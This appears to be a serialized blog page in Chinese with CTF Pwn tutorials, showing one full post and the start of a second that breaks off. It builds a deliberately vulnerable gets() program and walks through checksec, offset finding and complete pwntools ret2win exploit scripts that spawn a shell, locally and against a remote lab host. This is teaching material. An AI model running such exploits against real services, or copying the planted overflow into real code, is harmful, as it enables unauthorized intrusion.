[{"data":1,"prerenderedAt":3126},["ShallowReactive",2],{"category-data-pwn":3},[4,949,2084],{"id":5,"title":6,"body":7,"description":936,"extension":937,"meta":938,"navigation":111,"ogImage":940,"path":945,"seo":946,"stem":947,"__hash__":948},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":8,"value":9,"toc":924},"minimark",[10,15,24,32,36,39,78,82,89,205,208,245,249,255,261,264,280,283,291,294,359,363,369,375,382,453,458,462,467,505,507,513,517,525,536,545,549,594,604,608,613,618,687,690,696,707,711,788,792,801,804,817,828,833,839,896,898,904,908,920],[11,12,14],"h3",{"id":13},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[16,17,18,19,23],"p",{},"C 语言函数 ",[20,21,22],"code",{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[16,25,26,27,31],{},"本文只讲一条主线：",[28,29,30],"strong",{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数","。",[11,33,35],{"id":34},"二环境准备","二、环境准备",[16,37,38],{},"在 Linux（Kali/Ubuntu）上：",[40,41,46],"pre",{"className":42,"code":43,"language":44,"meta":45,"style":45},"language-bash shiki shiki-themes dracula","apt install gcc gdb\npip3 install pwntools\n","bash","",[20,47,48,67],{"__ignoreMap":45},[49,50,53,57,61,64],"span",{"class":51,"line":52},"line",1,[49,54,56],{"class":55},"sAOxA","apt",[49,58,60],{"class":59},"s-mGx"," install",[49,62,63],{"class":59}," gcc",[49,65,66],{"class":59}," gdb\n",[49,68,70,73,75],{"class":51,"line":69},2,[49,71,72],{"class":55},"pip3",[49,74,60],{"class":59},[49,76,77],{"class":59}," pwntools\n",[11,79,81],{"id":80},"三漏洞程序与编译","三、漏洞程序与编译",[16,83,84,85,88],{},"保存 ",[20,86,87],{},"vuln.c","：",[40,90,94],{"className":91,"code":92,"language":93,"meta":45,"style":45},"language-c shiki shiki-themes dracula","#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n","c",[20,95,96,101,106,113,119,125,131,136,142,148,154,159,164,170,176,182,188,194,200],{"__ignoreMap":45},[49,97,98],{"class":51,"line":52},[49,99,100],{},"#include \u003Cstdio.h>\n",[49,102,103],{"class":51,"line":69},[49,104,105],{},"#include \u003Cstdlib.h>\n",[49,107,109],{"class":51,"line":108},3,[49,110,112],{"emptyLinePlaceholder":111},true,"\n",[49,114,116],{"class":51,"line":115},4,[49,117,118],{},"void win() {\n",[49,120,122],{"class":51,"line":121},5,[49,123,124],{},"    system(\"/bin/sh\");\n",[49,126,128],{"class":51,"line":127},6,[49,129,130],{},"}\n",[49,132,134],{"class":51,"line":133},7,[49,135,112],{"emptyLinePlaceholder":111},[49,137,139],{"class":51,"line":138},8,[49,140,141],{},"void vuln() {\n",[49,143,145],{"class":51,"line":144},9,[49,146,147],{},"    char buf[32];\n",[49,149,151],{"class":51,"line":150},10,[49,152,153],{},"    gets(buf);\n",[49,155,157],{"class":51,"line":156},11,[49,158,130],{},[49,160,162],{"class":51,"line":161},12,[49,163,112],{"emptyLinePlaceholder":111},[49,165,167],{"class":51,"line":166},13,[49,168,169],{},"int main() {\n",[49,171,173],{"class":51,"line":172},14,[49,174,175],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[49,177,179],{"class":51,"line":178},15,[49,180,181],{},"    puts(\"Hello, what's your name?\");\n",[49,183,185],{"class":51,"line":184},16,[49,186,187],{},"    vuln();\n",[49,189,191],{"class":51,"line":190},17,[49,192,193],{},"    puts(\"Bye!\");\n",[49,195,197],{"class":51,"line":196},18,[49,198,199],{},"    return 0;\n",[49,201,203],{"class":51,"line":202},19,[49,204,130],{},[16,206,207],{},"编译（关闭金丝雀和 PIE，方便入门）：",[40,209,211],{"className":42,"code":210,"language":44,"meta":45,"style":45},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[20,212,213,234,240],{"__ignoreMap":45},[49,214,215,218,222,225,228,231],{"class":51,"line":52},[49,216,217],{"class":55},"gcc",[49,219,221],{"class":220},"sIQBb"," -o",[49,223,224],{"class":59}," vuln",[49,226,227],{"class":59}," vuln.c",[49,229,230],{"class":220}," -fno-stack-protector",[49,232,233],{"class":220}," -no-pie\n",[49,235,236],{"class":51,"line":69},[49,237,239],{"class":238},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[49,241,242],{"class":51,"line":108},[49,243,244],{"class":238},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[11,246,248],{"id":247},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[16,250,251,254],{},[28,252,253],{},"目的","：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[16,256,257,260],{},[28,258,259],{},"思路","：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[16,262,263],{},"输入：",[40,265,267],{"className":42,"code":266,"language":44,"meta":45,"style":45},"pwn checksec ./vuln\n",[20,268,269],{"__ignoreMap":45},[49,270,271,274,277],{"class":51,"line":52},[49,272,273],{"class":55},"pwn",[49,275,276],{"class":59}," checksec",[49,278,279],{"class":59}," ./vuln\n",[16,281,282],{},"预期输出：",[40,284,289],{"className":285,"code":287,"language":288,"meta":45},[286],"language-text","Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n","text",[20,290,287],{"__ignoreMap":45},[16,292,293],{},"只看三行：",[295,296,297,313],"table",{},[298,299,300],"thead",{},[301,302,303,307,310],"tr",{},[304,305,306],"th",{},"行",[304,308,309],{},"含义",[304,311,312],{},"对我们意味着什么",[314,315,316,330,343],"tbody",{},[301,317,318,324,327],{},[319,320,321],"td",{},[20,322,323],{},"Stack: No canary found",[319,325,326],{},"没有栈金丝雀",[319,328,329],{},"可以直接覆盖返回地址",[301,331,332,337,340],{},[319,333,334],{},[20,335,336],{},"NX: NX enabled",[319,338,339],{},"栈不可执行",[319,341,342],{},"不能放 shellcode（本阶段先不管）",[301,344,345,350,353],{},[319,346,347],{},[20,348,349],{},"PIE: No PIE",[319,351,352],{},"程序地址固定",[319,354,355,358],{},[20,356,357],{},"win"," 的地址可以直接写进 payload",[11,360,362],{"id":361},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[16,364,365,368],{},[20,366,367],{},"vuln"," 被调用时栈上自低到高：",[40,370,373],{"className":371,"code":372,"language":288,"meta":45},[286],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[20,374,372],{"__ignoreMap":45},[16,376,377,378,381],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[20,379,380],{},"cyclic"," 验证：",[40,383,387],{"className":384,"code":385,"language":386,"meta":45,"style":45},"language-python shiki shiki-themes dracula","from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n","python",[20,388,389,394,398,403,408,413,418,423,428,433,438,443,448],{"__ignoreMap":45},[49,390,391],{"class":51,"line":52},[49,392,393],{},"from pwn import *\n",[49,395,396],{"class":51,"line":69},[49,397,112],{"emptyLinePlaceholder":111},[49,399,400],{"class":51,"line":108},[49,401,402],{},"p = process('./vuln')\n",[49,404,405],{"class":51,"line":115},[49,406,407],{},"p.sendline(cyclic(200))\n",[49,409,410],{"class":51,"line":121},[49,411,412],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[49,414,415],{"class":51,"line":127},[49,416,417],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[49,419,420],{"class":51,"line":133},[49,421,422],{},"p.wait()\n",[49,424,425],{"class":51,"line":138},[49,426,427],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[49,429,430],{"class":51,"line":144},[49,431,432],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[49,434,435],{"class":51,"line":150},[49,436,437],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[49,439,440],{"class":51,"line":156},[49,441,442],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[49,444,445],{"class":51,"line":161},[49,446,447],{},"print(offset)\n",[49,449,450],{"class":51,"line":166},[49,451,452],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[16,454,282,455,31],{},[20,456,457],{},"40",[11,459,461],{"id":460},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[463,464,466],"h4",{"id":465},"api-1elf读符号地址","API 1：ELF——读符号地址",[40,468,470],{"className":384,"code":469,"language":386,"meta":45,"style":45},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[20,471,472,476,480,485,490,495,500],{"__ignoreMap":45},[49,473,474],{"class":51,"line":52},[49,475,393],{},[49,477,478],{"class":51,"line":69},[49,479,112],{"emptyLinePlaceholder":111},[49,481,482],{"class":51,"line":108},[49,483,484],{},"elf = ELF('./vuln')\n",[49,486,487],{"class":51,"line":115},[49,488,489],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[49,491,492],{"class":51,"line":121},[49,493,494],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[49,496,497],{"class":51,"line":127},[49,498,499],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[49,501,502],{"class":51,"line":133},[49,503,504],{},"print(hex(elf.symbols['win']))\n",[16,506,282],{},[40,508,511],{"className":509,"code":510,"language":288,"meta":45},[286],"0x401176\n",[20,512,510],{"__ignoreMap":45},[463,514,516],{"id":515},"api-2process启动程序","API 2：process——启动程序",[40,518,519],{"className":384,"code":402,"language":386,"meta":45,"style":45},[20,520,521],{"__ignoreMap":45},[49,522,523],{"class":51,"line":52},[49,524,402],{},[16,526,527,528,531,532,535],{},"启动本地进程，之后用 ",[20,529,530],{},"p.sendline()","、",[20,533,534],{},"p.recvuntil()"," 交互。远程题目改成：",[40,537,539],{"className":384,"code":538,"language":386,"meta":45,"style":45},"p = remote('1.2.3.4', 10001)\n",[20,540,541],{"__ignoreMap":45},[49,542,543],{"class":51,"line":52},[49,544,538],{},[463,546,548],{"id":547},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[40,550,552],{"className":384,"code":551,"language":386,"meta":45,"style":45},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[20,553,554,559,564,569,574,579,584,589],{"__ignoreMap":45},[49,555,556],{"class":51,"line":52},[49,557,558],{},"payload = b'A' * 40 + p64(0x401176)\n",[49,560,561],{"class":51,"line":69},[49,562,563],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[49,565,566],{"class":51,"line":108},[49,567,568],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[49,570,571],{"class":51,"line":115},[49,572,573],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[49,575,576],{"class":51,"line":121},[49,577,578],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[49,580,581],{"class":51,"line":127},[49,582,583],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[49,585,586],{"class":51,"line":133},[49,587,588],{},"p.sendline(payload)\n",[49,590,591],{"class":51,"line":138},[49,592,593],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[16,595,596,599,600,603],{},[20,597,598],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[20,601,602],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[11,605,607],{"id":606},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[16,609,610,612],{},[28,611,253],{},"：把前三步串成完整 exploit。",[16,614,615,617],{},[28,616,259],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[40,619,621],{"className":384,"code":620,"language":386,"meta":45,"style":45},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[20,622,623,627,631,635,639,643,648,653,658,663,667,672,677,682],{"__ignoreMap":45},[49,624,625],{"class":51,"line":52},[49,626,393],{},[49,628,629],{"class":51,"line":69},[49,630,112],{"emptyLinePlaceholder":111},[49,632,633],{"class":51,"line":108},[49,634,484],{},[49,636,637],{"class":51,"line":115},[49,638,402],{},[49,640,641],{"class":51,"line":121},[49,642,112],{"emptyLinePlaceholder":111},[49,644,645],{"class":51,"line":127},[49,646,647],{},"p.recvuntil(b'name?')\n",[49,649,650],{"class":51,"line":133},[49,651,652],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[49,654,655],{"class":51,"line":138},[49,656,657],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[49,659,660],{"class":51,"line":144},[49,661,662],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[49,664,665],{"class":51,"line":150},[49,666,588],{},[49,668,669],{"class":51,"line":156},[49,670,671],{},"# 触发溢出：覆盖返回地址为 win。\n",[49,673,674],{"class":51,"line":161},[49,675,676],{},"p.interactive()\n",[49,678,679],{"class":51,"line":166},[49,680,681],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[49,683,684],{"class":51,"line":172},[49,685,686],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[16,688,689],{},"预期结果：",[40,691,694],{"className":692,"code":693,"language":288,"meta":45},[286],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[20,695,693],{"__ignoreMap":45},[16,697,698,699,702,703,706],{},"程序跳到了 ",[20,700,701],{},"win()","，执行 ",[20,704,705],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[11,708,710],{"id":709},"八必学工具","八、必学工具",[295,712,713,726],{},[298,714,715],{},[301,716,717,720,723],{},[304,718,719],{},"工具",[304,721,722],{},"3 个核心功能",[304,724,725],{},"示例",[314,727,728,756,769],{},[301,729,730,733,753],{},[319,731,732],{},"pwntools",[319,734,735,738,739,741,742,745,746,748,749,752],{},[20,736,737],{},"ELF()"," 读符号、",[20,740,380],{},"/",[20,743,744],{},"cyclic_find"," 找偏移、",[20,747,598],{},"+",[20,750,751],{},"sendline"," 构造发送",[319,754,755],{},"见上文",[301,757,758,761,764],{},[319,759,760],{},"checksec",[319,762,763],{},"查看栈保护、NX、PIE",[319,765,766],{},[20,767,768],{},"pwn checksec ./vuln",[301,770,771,774,777],{},[319,772,773],{},"GDB（+pwndbg）",[319,775,776],{},"断点、看栈、单步",[319,778,779,531,782,531,785],{},[20,780,781],{},"break vuln",[20,783,784],{},"x/20gx $rsp",[20,786,787],{},"continue",[11,789,791],{"id":790},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[16,793,794,795,798,799,31],{},"题目：",[20,796,797],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[20,800,367],{},[16,802,803],{},"第一步，本地验证：",[40,805,807],{"className":42,"code":806,"language":44,"meta":45,"style":45},"python3 exploit.py\n",[20,808,809],{"__ignoreMap":45},[49,810,811,814],{"class":51,"line":52},[49,812,813],{"class":55},"python3",[49,815,816],{"class":59}," exploit.py\n",[16,818,819,820,823,824,827],{},"第二步，把 ",[20,821,822],{},"process('./vuln')"," 改成 ",[20,825,826],{},"remote('1.2.3.4', 10001)"," 再跑：",[16,829,830,832],{},[28,831,253],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[16,834,835,838],{},[28,836,837],{},"验证方式","：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[40,840,842],{"className":384,"code":841,"language":386,"meta":45,"style":45},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[20,843,844,848,852,856,860,865,870,874,878,882,887,892],{"__ignoreMap":45},[49,845,846],{"class":51,"line":52},[49,847,393],{},[49,849,850],{"class":51,"line":69},[49,851,112],{"emptyLinePlaceholder":111},[49,853,854],{"class":51,"line":108},[49,855,484],{},[49,857,858],{"class":51,"line":115},[49,859,538],{},[49,861,862],{"class":51,"line":121},[49,863,864],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[49,866,867],{"class":51,"line":127},[49,868,869],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[49,871,872],{"class":51,"line":133},[49,873,112],{"emptyLinePlaceholder":111},[49,875,876],{"class":51,"line":138},[49,877,662],{},[49,879,880],{"class":51,"line":144},[49,881,588],{},[49,883,884],{"class":51,"line":150},[49,885,886],{},"p.sendline(b'cat flag')\n",[49,888,889],{"class":51,"line":156},[49,890,891],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[49,893,894],{"class":51,"line":161},[49,895,676],{},[16,897,282],{},[40,899,902],{"className":900,"code":901,"language":288,"meta":45},[286],"flag{ret2win}\n",[20,903,901],{"__ignoreMap":45},[11,905,907],{"id":906},"十小结","十、小结",[16,909,910,911,913,914,916,917,919],{},"Pwn 入门主线：",[20,912,760],{}," 判断能不能直接打 → ",[20,915,380],{}," 确定偏移 → ",[20,918,598],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[921,922,923],"style",{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":45,"searchDepth":69,"depth":69,"links":925},[926,927,928,929,930,931,932,933,934,935],{"id":13,"depth":108,"text":14},{"id":34,"depth":108,"text":35},{"id":80,"depth":108,"text":81},{"id":247,"depth":108,"text":248},{"id":361,"depth":108,"text":362},{"id":460,"depth":108,"text":461},{"id":606,"depth":108,"text":607},{"id":709,"depth":108,"text":710},{"id":790,"depth":108,"text":791},{"id":906,"depth":108,"text":907},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。","md",{"date":939,"image":940,"alt":941,"tags":942,"published":111},"14th Aug 2026","/blogs-img/blog2.png","CTF Pwn 入门",[943,273,944],"ctf","example","/blogs/ctf-pwn-overview",{"title":6,"description":936},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":950,"title":951,"body":952,"description":2074,"extension":937,"meta":2075,"navigation":111,"ogImage":2076,"path":2080,"seo":2081,"stem":2082,"__hash__":2083},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":8,"value":953,"toc":2061},[954,958,973,976,978,1032,1034,1038,1118,1121,1140,1144,1149,1154,1166,1168,1173,1176,1232,1234,1239,1245,1248,1251,1261,1315,1317,1323,1337,1341,1346,1407,1410,1420,1422,1428,1448,1452,1458,1461,1494,1496,1502,1515,1521,1525,1532,1537,1546,1550,1556,1560,1855,1858,1864,1868,1917,1921,1982,1986,1997,2038,2040,2045,2049,2058],[11,955,957],{"id":956},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[16,959,960,531,962,531,965,968,969,972],{},[20,961,22],{},[20,963,964],{},"strcpy",[20,966,967],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[20,970,971],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[16,974,975],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[11,977,35],{"id":34},[40,979,981],{"className":42,"code":980,"language":44,"meta":45,"style":45},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[20,982,983,993,1005],{"__ignoreMap":45},[49,984,985,987,989,991],{"class":51,"line":52},[49,986,56],{"class":55},[49,988,60],{"class":59},[49,990,63],{"class":59},[49,992,66],{"class":59},[49,994,995,997,999,1002],{"class":51,"line":69},[49,996,72],{"class":55},[49,998,60],{"class":59},[49,1000,1001],{"class":59}," pwntools",[49,1003,1004],{"class":59}," ROPgadget\n",[49,1006,1007,1010,1013,1016,1020,1024,1027,1029],{"class":51,"line":108},[49,1008,1009],{"class":55},"git",[49,1011,1012],{"class":59}," clone",[49,1014,1015],{"class":59}," https://github.com/pwndbg/pwndbg",[49,1017,1019],{"class":1018},"sCdxs"," && ",[49,1021,1023],{"class":1022},"sLL85","cd",[49,1025,1026],{"class":59}," pwndbg",[49,1028,1019],{"class":1018},[49,1030,1031],{"class":55},"./setup.sh\n",[11,1033,81],{"id":80},[16,1035,1036,88],{},[20,1037,87],{},[40,1039,1040],{"className":91,"code":92,"language":93,"meta":45,"style":45},[20,1041,1042,1046,1050,1054,1058,1062,1066,1070,1074,1078,1082,1086,1090,1094,1098,1102,1106,1110,1114],{"__ignoreMap":45},[49,1043,1044],{"class":51,"line":52},[49,1045,100],{},[49,1047,1048],{"class":51,"line":69},[49,1049,105],{},[49,1051,1052],{"class":51,"line":108},[49,1053,112],{"emptyLinePlaceholder":111},[49,1055,1056],{"class":51,"line":115},[49,1057,118],{},[49,1059,1060],{"class":51,"line":121},[49,1061,124],{},[49,1063,1064],{"class":51,"line":127},[49,1065,130],{},[49,1067,1068],{"class":51,"line":133},[49,1069,112],{"emptyLinePlaceholder":111},[49,1071,1072],{"class":51,"line":138},[49,1073,141],{},[49,1075,1076],{"class":51,"line":144},[49,1077,147],{},[49,1079,1080],{"class":51,"line":150},[49,1081,153],{},[49,1083,1084],{"class":51,"line":156},[49,1085,130],{},[49,1087,1088],{"class":51,"line":161},[49,1089,112],{"emptyLinePlaceholder":111},[49,1091,1092],{"class":51,"line":166},[49,1093,169],{},[49,1095,1096],{"class":51,"line":172},[49,1097,175],{},[49,1099,1100],{"class":51,"line":178},[49,1101,181],{},[49,1103,1104],{"class":51,"line":184},[49,1105,187],{},[49,1107,1108],{"class":51,"line":190},[49,1109,193],{},[49,1111,1112],{"class":51,"line":196},[49,1113,199],{},[49,1115,1116],{"class":51,"line":202},[49,1117,130],{},[16,1119,1120],{},"编译：",[40,1122,1124],{"className":42,"code":1123,"language":44,"meta":45,"style":45},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[20,1125,1126],{"__ignoreMap":45},[49,1127,1128,1130,1132,1134,1136,1138],{"class":51,"line":52},[49,1129,217],{"class":55},[49,1131,221],{"class":220},[49,1133,224],{"class":59},[49,1135,227],{"class":59},[49,1137,230],{"class":220},[49,1139,233],{"class":220},[11,1141,1143],{"id":1142},"四核心步骤-1checksec","四、核心步骤 1：checksec",[16,1145,1146,1148],{},[28,1147,253],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[16,1150,1151,1153],{},[28,1152,259],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[40,1155,1156],{"className":42,"code":266,"language":44,"meta":45,"style":45},[20,1157,1158],{"__ignoreMap":45},[49,1159,1160,1162,1164],{"class":51,"line":52},[49,1161,273],{"class":55},[49,1163,276],{"class":59},[49,1165,279],{"class":59},[16,1167,282],{},[40,1169,1171],{"className":1170,"code":287,"language":288,"meta":45},[286],[20,1172,287],{"__ignoreMap":45},[16,1174,1175],{},"逐行含义：",[295,1177,1178,1187],{},[298,1179,1180],{},[301,1181,1182,1185],{},[304,1183,1184],{},"输出",[304,1186,309],{},[314,1188,1189,1199,1209,1222],{},[301,1190,1191,1196],{},[319,1192,1193],{},[20,1194,1195],{},"No canary found",[319,1197,1198],{},"无栈金丝雀，可覆盖返回地址",[301,1200,1201,1206],{},[319,1202,1203],{},[20,1204,1205],{},"NX enabled",[319,1207,1208],{},"栈不可执行，不能直接放 shellcode",[301,1210,1211,1216],{},[319,1212,1213],{},[20,1214,1215],{},"No PIE",[319,1217,1218,1219,1221],{},"程序地址固定，",[20,1220,357],{}," 地址可直接写死",[301,1223,1224,1229],{},[319,1225,1226],{},[20,1227,1228],{},"Partial RELRO",[319,1230,1231],{},"GOT 可写（本阶段用不到）",[11,1233,362],{"id":361},[16,1235,1236,1238],{},[20,1237,367],{}," 栈帧自低到高：",[40,1240,1243],{"className":1241,"code":1242,"language":288,"meta":45},[286],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[20,1244,1242],{"__ignoreMap":45},[16,1246,1247],{},"偏移 = 32 + 8 = 40。",[16,1249,1250],{},"用 pwntools 验证：",[16,1252,1253,88,1255,1257,1258,1260],{},[28,1254,259],{},[20,1256,380],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[20,1259,744],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[40,1262,1264],{"className":384,"code":1263,"language":386,"meta":45,"style":45},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[20,1265,1266,1270,1274,1278,1282,1287,1291,1296,1300,1305,1310],{"__ignoreMap":45},[49,1267,1268],{"class":51,"line":52},[49,1269,393],{},[49,1271,1272],{"class":51,"line":69},[49,1273,112],{"emptyLinePlaceholder":111},[49,1275,1276],{"class":51,"line":108},[49,1277,402],{},[49,1279,1280],{"class":51,"line":115},[49,1281,407],{},[49,1283,1284],{"class":51,"line":121},[49,1285,1286],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[49,1288,1289],{"class":51,"line":127},[49,1290,422],{},[49,1292,1293],{"class":51,"line":133},[49,1294,1295],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[49,1297,1298],{"class":51,"line":138},[49,1299,432],{},[49,1301,1302],{"class":51,"line":144},[49,1303,1304],{},"# 